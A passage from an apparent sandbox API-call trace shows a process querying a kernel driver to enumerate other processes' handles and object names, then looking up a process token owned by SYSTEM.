HandleInformation=0x0) returned 0x0 [0071.525] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.525] PsReleaseProcessExitSynchronization () returned 0x2 [0071.525] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.525] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.525] ObfDereferenceObject (Object=0xfffffa800219b570) returned 0x1 [0071.525] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.525] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.525] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.525] PsAcquireProcessExitSynchronization () returned 0x0 [0071.525] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.525] ObReferenceObjectByHandle (in: Handle=0x11e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002086260, HandleInformation=0x0) returned 0x0 [0071.525] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.526] PsReleaseProcessExitSynchronization () returned 0x2 [0071.526] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.526] ObfDereferenceObject (Object=0xfffffa8002086260) returned 0x2 [0071.526] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.526] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.526] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.526] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.526] PsAcquireProcessExitSynchronization () returned 0x0 [0071.526] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.526] ObReferenceObjectByHandle (in: Handle=0x11e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0022fa500, HandleInformation=0x0) returned 0x0 [0071.526] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.526] PsReleaseProcessExitSynchronization () returned 0x2 [0071.526] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.526] ObQueryNameString (in: Object=0xfffff8a0022fa500, ObjectNameInfo=0xfffffa80039c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.526] ObfDereferenceObject (Object=0xfffff8a0022fa500) returned 0x1 [0071.526] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.526] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.526] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.526] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.526] PsAcquireProcessExitSynchronization () returned 0x0 [0071.526] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.526] ObReferenceObjectByHandle (in: Handle=0x11f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002184a20, HandleInformation=0x0) returned 0x0 [0071.526] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.526] PsReleaseProcessExitSynchronization () returned 0x2 [0071.526] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.527] ObfDereferenceObject (Object=0xfffffa8002184a20) returned 0x2 [0071.527] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.527] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.527] PsAcquireProcessExitSynchronization () returned 0x0 [0071.527] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.527] ObReferenceObjectByHandle (in: Handle=0x11f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009bff270, HandleInformation=0x0) returned 0x0 [0071.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.527] PsReleaseProcessExitSynchronization () returned 0x2 [0071.527] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.527] ObfDereferenceObject (Object=0xfffffa8009bff270) returned 0x1 [0071.527] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.527] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.527] PsAcquireProcessExitSynchronization () returned 0x0 [0071.527] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.527] ObReferenceObjectByHandle (in: Handle=0x11f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021848d0, HandleInformation=0x0) returned 0x0 [0071.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.527] PsReleaseProcessExitSynchronization () returned 0x2 [0071.527] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.527] ObfDereferenceObject (Object=0xfffffa80021848d0) returned 0x2 [0071.527] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.527] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.527] PsAcquireProcessExitSynchronization () returned 0x0 [0071.528] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.528] ObReferenceObjectByHandle (in: Handle=0x11fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00235a6d0, HandleInformation=0x0) returned 0x0 [0071.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.528] PsReleaseProcessExitSynchronization () returned 0x2 [0071.528] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.528] ObQueryNameString (in: Object=0xfffff8a00235a6d0, ObjectNameInfo=0xfffffa80039c7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.528] ObfDereferenceObject (Object=0xfffff8a00235a6d0) returned 0x1 [0071.528] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.528] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.528] PsAcquireProcessExitSynchronization () returned 0x0 [0071.528] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.528] ObReferenceObjectByHandle (in: Handle=0x1200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034175e0, HandleInformation=0x0) returned 0x0 [0071.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.528] PsReleaseProcessExitSynchronization () returned 0x2 [0071.528] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.528] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.528] ObfDereferenceObject (Object=0xfffffa80034175e0) returned 0x1 [0071.528] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.528] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.528] PsAcquireProcessExitSynchronization () returned 0x0 [0071.528] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.528] ObReferenceObjectByHandle (in: Handle=0x1204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00233f900, HandleInformation=0x0) returned 0x0 [0071.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.528] PsReleaseProcessExitSynchronization () returned 0x2 [0071.528] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.528] ObQueryNameString (in: Object=0xfffff8a00233f900, ObjectNameInfo=0xfffffa80039c9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.528] ObfDereferenceObject (Object=0xfffff8a00233f900) returned 0x1 [0071.528] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.529] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.529] PsAcquireProcessExitSynchronization () returned 0x0 [0071.529] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.529] ObReferenceObjectByHandle (in: Handle=0x1210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800216cba0, HandleInformation=0x0) returned 0x0 [0071.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.529] PsReleaseProcessExitSynchronization () returned 0x2 [0071.529] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ca044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ca044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.529] ObfDereferenceObject (Object=0xfffffa800216cba0) returned 0x2 [0071.529] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.529] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.529] PsAcquireProcessExitSynchronization () returned 0x0 [0071.529] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.529] ObReferenceObjectByHandle (in: Handle=0x122c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019e4d10, HandleInformation=0x0) returned 0x0 [0071.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.529] PsReleaseProcessExitSynchronization () returned 0x2 [0071.529] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.529] ObfDereferenceObject (Object=0xfffffa80019e4d10) returned 0x2 [0071.529] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0071.529] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.529] PsAcquireProcessExitSynchronization () returned 0x0 [0071.529] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.529] ObReferenceObjectByHandle (in: Handle=0x1254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800241ec40, HandleInformation=0x0) returned 0x0 [0071.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.530] PsReleaseProcessExitSynchronization () returned 0x2 [0071.530] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.530] ObfDereferenceObject (Object=0xfffffa800241ec40) returned 0x1 [0071.530] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.530] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0071.530] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.530] PsAcquireProcessExitSynchronization () returned 0x0 [0071.530] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.530] ObReferenceObjectByHandle (in: Handle=0x126c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800219bd10, HandleInformation=0x0) returned 0x0 [0071.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.530] PsReleaseProcessExitSynchronization () returned 0x2 [0071.530] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.530] ObfDereferenceObject (Object=0xfffffa800219bd10) returned 0x1 [0071.530] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.530] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0071.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0071.530] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0071.530] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a4c) returned 0x0 [0071.531] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8f [0071.531] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a4c, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0071.531] ZwClose (Handle=0xffffffff80000a4c) returned 0x0 [0071.531] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0071.531] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0071.535] CloseHandle (hObject=0xc8) returned 1 [0071.536] CloseHandle (hObject=0xc0) returned 1 [0071.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0071.536] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.536] PsAcquireProcessExitSynchronization () returned 0x0 [0071.536] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.536] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0071.536] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.536] PsReleaseProcessExitSynchronization () returned 0x2 [0071.536] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.536] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ce044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ce044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.536] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0071.536] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.536] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.536] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0071.536] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.536] PsAcquireProcessExitSynchronization () returned 0x0 [0071.536] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880054f85d0) [0071.536] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0071.536] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.536] PsReleaseProcessExitSynchronization () returned 0x2 [0071.536] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x8d [0071.536] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039cf044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cf044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.536] ObfDereferenceObject 